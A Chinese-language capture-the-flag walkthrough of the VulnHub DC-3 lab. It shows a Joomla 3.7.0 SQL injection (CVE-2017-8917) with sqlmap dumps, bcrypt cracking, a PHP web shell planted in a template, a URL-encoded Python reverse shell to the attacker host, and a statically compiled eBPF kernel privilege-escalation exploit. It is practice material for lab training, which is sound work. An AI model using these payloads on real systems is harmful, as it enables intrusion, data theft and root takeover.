DC系列靶场打到第三台这台DC-3给我的感觉和前面两台完全不一样。DC-1上来是DrupalDC-2换成了WordPress还有一堆绕过登录的分支剧情而DC-3直接是Joomla加一条很清晰的攻击链SQL注入拿hash、破解后台密码、模板写马、内核提权五个环节走完就是通关。官方只放了一个flag在/root下面这意味着不拿到root你连看flag的机会都没有整台靶机的终点就是最后那一步提权。这篇文章完全按我实际打靶的记录来写从扫描、指纹识别、SQL注入、后台Getshell、内核提权到最后的排错每一段都会说清楚为什么这么做而不是简单丢几条命令让你照着抄。如果你练靶场时经常卡在“不知道下一步干嘛”这个问题上这篇应该能帮上忙。靶机环境就用VulnHub官方OVA导入攻击机用Kali两台机器放同一个虚拟网络里就可以开始。1. 靶场初始化先把环境跑起来1.1 DC-3在系列里的定位DC系列是VulnHub上一套非常经典的渗透测试练习靶场每一台的侧重点都不同。DC-1用的是Drupal CMS重点是CMS漏洞利用和权限提升DC-2是WordPress加入了路由劫持、ssh爆破之类的玩法到了DC-3作者换成了Joomla CMS而且明确告诉你“只有一个flag在root目录下自己想办法。”这个设计和DC-1、DC-2很大的区别在于DC-3没有给你“渐进式”的flag提示。DC-1你会找到第一面旗子第二面旗子像做任务一样逐步推进。DC-3则是把目标压缩成一个拿root。所以在打之前就要有心理准备整个流程不是找flag而是为了最后那一下提权做铺垫。从学习角度来说这台的性价比很高因为它几乎完整覆盖了Web攻击链里的几个最常见环节CMS漏洞、弱口令、后台getshell、内核提权。对于初中级安全爱好者尤其是准备面试、练渗透思路的朋友这台值得反复打几遍。1.2 网络拓扑与主机发现我用的是VMware Workstation把靶机OVA直接导入攻击机Kali也是VMware虚拟机。网络模式我建议两边都设成NAT这样它们会落在同一个虚拟网络段里通信最省事。如果你有多块虚拟网卡也可以都挂到自定义的VMnet8保证Kali和靶机能互相ping通。先把靶机开机然后到Kali里做主机发现。用arp-scan是最快的sudo arp-scan -l正常情况下会看到一个陌生IP出现在局域网里比如我这次拿到的是192.168.1.108MAC地址是VMware虚拟机常见的00:0C:29开头。如果arp-scan没装也可以用netdiscoversudo netdiscover -r 192.168.1.0/24有时候实在扫不到第一反应不是怀疑工具而是检查网络配置。常见问题是靶机没完全启动、两个虚拟机不在同一个虚拟网络或者自定义网段和自动分配的网段不一致。我见过有人反复重装靶机最后发现只是VMware网络编辑器里NAT网段被改过攻击机在192.168.80.0网段靶机却跑在192.168.1.0网段两个机器根本不互通。1.3 端口扫描与Web识别拿到目标IP后先用nmap做全端口扫描和服务识别nmap -sV -sC -p- 192.168.1.108结果很干净只开放了80端口运行的是Apache/2.4.10操作系统识别为Ubuntu。这种“全靶场只有Web服务”的设计其实就是在告诉你所有入口只有一个网站。浏览器访问http://192.168.1.108页面显示欢迎语“Welcome to DC-3”。这时候最应该做的事是看网页源码和响应头因为很多CMS会通过meta标签暴露版本信息。我右键查看源码在head区域看到一行meta namegenerator contentJoomla! - Open Source Content Management /再用whatweb确认一下whatweb http://192.168.1.108回显里出现了Joomla 3.7.0的字样。到这里靶机的入口和版本已经明确了一个Joomla 3.7.0的网站。接下来要考虑的就是这个版本的Joomla有没有已知漏洞。2. 突破入口Joomla SQL注入拿hash2.1 Joomla 3.7.0和CVE-2017-8917Joomla 3.7.0有一个公开的SQL注入漏洞编号是CVE-2017-8917漏洞出现在com_fields组件的order参数上。简单说这个组件在处理字段列表的排序参数时把用户输入直接拼接进了SQL语句没有做参数化查询于是攻击者可以通过order参数注入恶意的SQL片段。这个漏洞属于“报错注入”就是利用数据库函数最常见的是updatexml把查询结果回显到报错信息里。比如database()函数会把当前数据库名带到报错文本中页面就会显示类似XPATH syntax error: ~joomladb的内容。手工验证一下既能确认漏洞存在也能给后面用工具打增加信心。在靶场环境下我很推荐先手工注入再上sqlmap因为很多练习者上来就跑工具跑不动就不知道该干什么了。先手工确认漏洞点是排查后续问题的重要一步。2.2 手工验证报错注入直接用curl访问下面这个URLcurl http://192.168.1.108/index.php?optioncom_fieldsviewfieldslayoutfieldlistorderasc,updatexml(1,concat(0x7e,database()),1)--%20注意几个细节order参数原本是asc或desc这里我在asc后面加了逗号再接一个updatexml表达式这样SQL层面就相当于order by asc,updatexml(...)。concat(0x7e,database())的0x7e表示波浪号~用来区分报错信息的边界。最后用--%20注释掉后面可能存在的SQL语句。实际回显会是XPATH syntax error: ~joomladb这就说明当前数据库名是joomladb注入点是真实可用的。接下来可以用同样的方式把目标换到users表提取管理员账号信息。2.3 sqlmap自动导出用户表手工验证通过后再用sqlmap批量导数据就轻松很多。我用的命令是sqlmap -u http://192.168.1.108/index.php?optioncom_fieldsviewfieldslayoutfieldlistorderasc --dbms mysql --batch --dbs如果sqlmap跑不出来可能是检测深度不够可以加上level和risk参数sqlmap -u http://192.168.1.108/index.php?optioncom_fieldsviewfieldslayoutfieldlistorderasc --dbms mysql --level 3 --risk 3 --batch --dbs拿到数据库joomladb之后接着列出所有表sqlmap -u http://192.168.1.108/index.php?optioncom_fieldsviewfieldslayoutfieldlistorderasc -D joomladb --tables --batchusers表自然是要重点看的。直接dump数据sqlmap -u http://192.168.1.108/index.php?optioncom_fieldsviewfieldslayoutfieldlistorderasc -D joomladb -T users --dump --batch导出结果里最重要的两个字段是username和password。username通常是adminpassword是一个很长的字符串开头是$2y$10$这是bcrypt加密的密码哈希。看到这个格式基本能确定后面要用john或者hashcat配合字典来破解。2.4 john破解bcrypt密码把hash保存到本地文件比如hash.txt然后直接用john跑rockyou字典john --formatbcrypt --wordlist/usr/share/wordlists/rockyou.txt hash.txt如果你的Kali里rockyou.txt还是.gz压缩包先解压gunzip /usr/share/wordlists/rockyou.txt.gzjohn跑得很快因为靶场作者设置的是一个弱口令。几分钟后输出snoopy (admin)拿到密码后去后台登录http://192.168.1.108/administrator/账号admin密码snoopy。到这里我们已经在Web应用层拿到了管理员权限下一步就是把这种后台权限转化成服务器命令执行能力。3. 后台Getshell从浏览器到命令执行3.1 模板编辑功能利用Joomla后台有一个模板管理功能可以编辑当前使用的模板HTML文件。既然有管理员权限最直接的getshell方式就是在模板的index.php文件里插入PHP代码。登录后台后依次点击菜单Extensions - Templates - Templates页面会列出当前站点可用的模板重点是那一行“Template”信息。我这台靶机上默认前端模板是protostar所以进入protostar的编辑界面右侧能找到index.php文件。点击编辑在文件末尾加入一句PHP代码最简单的写法是?php system($_GET[cmd]); ?保存的时候Joomla可能会提示文件是否可写如果提示权限问题可以在靶机Web目录下先看看文件权限。不过正常情况下protostar模板文件都是www-data用户可写的直接保存即可。这里有个容易踩的坑后台上显示的“默认模板”不一定就是前端正在用的模板。你需要在Template Manager里看哪个模板被标记为“Default”或“Starred”。如果默认模板是beez3那你就要编辑beez3/index.php不然你在protostar里写的代码是触发不了的。3.2 通过模板入口执行命令保存完后直接访问模板入口URLhttp://192.168.1.108/templates/protostar/index.php?cmdid页面上会输出www-data说明PHP已经执行了system函数当前Web服务器的用户是www-data。到这里我们已经从“能登录后台”变成了“能在服务器上执行任意命令”。可以继续验证一些信息比如看网网站根目录有哪些文件http://192.168.1.108/templates/protostar/index.php?cmdls%20-la%20/var/www/html这种带一个参数执行一条命令的方式很爽但如果要做后续提权就需要一个能持续操作的交互shell。所以下一步是反弹shell。3.3 反弹Shell完整操作反弹shell的思路是让靶机主动连接我们的Kali这样就能得到一个交互式的bash会话而不需要一直通过URL传命令。先在Kali上开启监听nc -lvnp 4444然后在Web shell里执行一条经过URL编码的Python反弹命令。因为system执行的是系统命令如果直接在地址栏输入带空格、大于号、管道符的命令很容易被截断或转义所以最好先手动编码。一个比较稳妥的Python反向shell命令是python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/bash,-i])注意把192.168.1.100换成你Kali的实际IP。然后把这个命令整体做URL编码拼到cmd参数后面http://192.168.1.108/templates/protostar/index.php?cmdpython3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22192.168.1.100%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bsubprocess.call%28%5B%22%2Fbin%2Fbash%22%2C%22-i%22%5D%29%27如果执行成功Kali的nc窗口会出现一个bash提示符输入id确认一下id uid33(www-data) gid33(www-data) groups33(www-data)到这里我们已经完成了Web层的全部工作从SQL注入到后台从后台到命令执行从命令执行到交互shell。接下来要解决的就是“最后的临门一脚”把www-data变成root。4. 提权到root利用内核漏洞4.1 提权前的系统信息收集拿到反弹shell后先别急着找提权脚本先把目标机器的底细摸清楚。我习惯依次执行这几条命令id uname -a cat /etc/issue回显内容大概是Linux ubuntu 4.4.0-21-generic #30-Ubuntu SMP Mon Apr 18 16:05:14 UTC 2016 i686 i686 i686 GNU/Linux Ubuntu 16.04.2 LTS注意这里的关键信息是内核版本4.4.0-21-generic系统是Ubuntu 16.04架构是i686也就是32位。这个组合非常重要因为后面选提权exp时内核版本和架构必须匹配否则exp跑起来大概率会崩或者直接失效。同时还可以看看系统里有没有gcc、有没有make这决定了我们是直接在靶机上编译还是在Kali本地编译好再传上去which gcc which cc如果没有gcc输出说明靶机不具备编译条件那就需要走“本地静态编译上传执行”的路线。4.2 内核漏洞分析与exp选择在Kali上可以用searchsploit直接搜漏洞库searchsploit linux kernel 4.4.0-21-generic输出里会有一批结果其中最合适的是CVE-2017-16995对应的本地提权expExploitDB编号是46989。这个漏洞是Linux内核在eBPF程序校验上出了问题32位系统下eBPF verifier对符号扩展的检查不完善攻击者可以构造恶意程序获得内核任意读写能力进而覆盖当前进程的cred结构把权限改到root。原理听起来复杂但实际利用起来就是编译运行一个C程序的事情。这个漏洞在内核4.4.0-21-generic上是完美命中的所以不用再去试那些需要猜偏移量的通用exp专注这一个就行。4.3 exp获取、编译与上传先用searchsploit把源码提取出来searchsploit -m 46989源码会被复制到当前目录文件名一般是46989.c。然后在Kali本地用静态编译这样传到靶机后不依赖靶机上的动态库gcc -static -O2 -lpthread -o exploit 46989.c编译过程中如果报错多半是缺了某个库或者需要改成gcc -static -O2 -pthread -o exploit 46989.c编译成功后把exp传到靶机。最简单的方式是在Kali上起一个HTTP服务python3 -m http.server 8000然后在靶机的反弹shell里执行cd /tmp wget http://192.168.1.100:8000/exploit chmod x exploit ./exploit运行exp后注意观察回显。正常情况下不会立刻看到root提示符可能只是程序正常结束。这时候再执行id如果显示uid0(root)说明提权成功。然后就直接读取flagcat /root/flag.txt如果flag不在默认位置先看看/root目录下有什么ls -la /root有些版本可能把flag放在/root下别的文件名里或者README里暗示了位置。整体来说DC-3的最终目标是清晰明了的拿到root就意味着通关结束。5. 通关路上的坑与排查5.1 常见问题一目标IP找不到每次搞虚拟靶场都会有人卡在第一步靶机开了却扫不到IP。常见原因有三个一是VMware网络模式没配对两个虚拟机不在同一网段二是靶机启动慢系统还在初始化网络服务三是arp-scan的网段和实际NAT网段不一致。排查顺序建议是先ping一下网关再用ip addr看自己的IP段最后用arp-scan扫当前网段。如果实在扫不到可以临时把网络模式改成Host-Only和Kali挂在同一个纯内网里这样扫描基本一枪一个准。另外DC-3的OVA导入后默认网络适配器是VMnet8NAT不要随手删掉保持默认反而最省事。5.2 常见问题二SQL注入跑不出数据我自己遇到过几次sqlmap不出结果的情况尤其在order参数这种半盲注点上。sqlmap默认检测未必能识别出来最有效的办法是加参数sqlmap -u URL --dbms mysql --level 3 --risk 3 --batch --dbs如果还是不行就放弃工具回到手工注入。上面提到的updatexml报错注入只要能手工拿到数据库名后面提数据也完全可以手工完成。比如通过updatexml获取users表的用户名和hashupdatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),1)这种查询一次只能回显一小段但已经足够用了。很多情况下工具跑不出来不等于漏洞不存在而是工具太保守手工反而是最快的。5.3 常见问题三木马不执行或反弹失败模板里写了PHP后门但访问时直接下载文件而不是执行这种情况通常是PHP没有被解析Apache配置里把.php文件当成普通文件了不过在Ubuntu Apache PHP的环境里一般不会发生。更可能的问题是写错模板或者访问路径不对。我的建议是先去后台确认默认模板到底是哪个然后访问对应的templates路径。反弹shell失败最常见的原因是命令里的特殊字符被URL解析层吞掉了。比如大于号、管道符、分号这些如果不编码curl或浏览器可能只传了一部分。解决方法是整条命令先URL编码再用或者把一条命令拆成几条先写脚本文件再执行echo python3 -c ... /tmp/shell.sh bash /tmp/shell.sh用文件方式可以避开很多URL转义问题。另外一个容易忽略的点是Kali的nc监听要提前开好并且监听端口不要被防火墙拦掉。5.4 常见问题四提权exp编译失败CVE-2017-16995对应的exp在网上有很多个版本有的版本是用动态编译的靶机上没有对应的.so库就会失败有的版本是给Debian定制的在Ubuntu上跑会报段错误。我的建议是尽量用ExploitDB的46989.c原版编译时用-static参数把所有依赖静态链接进去。不要一上来就在靶机上编译除非确认靶机装了gcc和内核头文件。如果运行exp后没有root反而shell退了可能是你在修改内核内存时触发了保护。可以换另一个版本的exp或者尝试给exp传参数指定偏移量。不过DC-3的内核版本是4.4.0-21-generic属于文档里明确支持的范围正常原版exp成功率很高。5.5 新手容易忽略的细节整个DC-3通关过程看起来不长但里面有不少细节值得养成习惯。每次执行完一条命令先停下来看输出是不是符合预期不符合就回到上一步排查。比如SQL注入报错时是不是报错在XPATH syntax error是不是真的报出了数据库名后台写shell时是不是写在了默认模板的index.php里反弹shell后id是不是真的显示www-data。每一步都验证一遍比闷头往前冲要高效得多。在靶场练习中中间数据也要随手保存。hash、路径、内核版本、当前用户这些信息是后面判断下一步的重要依据。我把这些数据都存在一个笔记文件里看到新的就追加这样就算中途断了连接也不用重新收集一遍。另外一定要再强调一次这类攻击链只能在自己搭建的靶场、明确授权的环境里使用。直接拿互联网上的真实站点练手不仅毫无意义还可能触犯法律。靶场存在的意义就是让你在安全边界内练习这些技术练得越多后面的判断力就越强。我个人在反复刷DC-3的过程中最大的体会是这条攻击链看起来简单但每一步都依赖对环境的仔细判断。sqlmap跑不通时要会手工注一把后台默认模板不是protostar时要会找路径提权脚本编译不过时要会换编译方式。这些东西都不是教程里能背下来的只有自己动手踩坑才能形成真正的肌肉记忆。建议你第一遍跟着文档打第二遍关掉所有参考只凭思路走。卡住了就问自己一个问题当前权限是什么下一步目标是什么中间有哪些可能的路径想清楚这个问题很多所谓“卡关”其实都只是少看了某一条输出信息而已。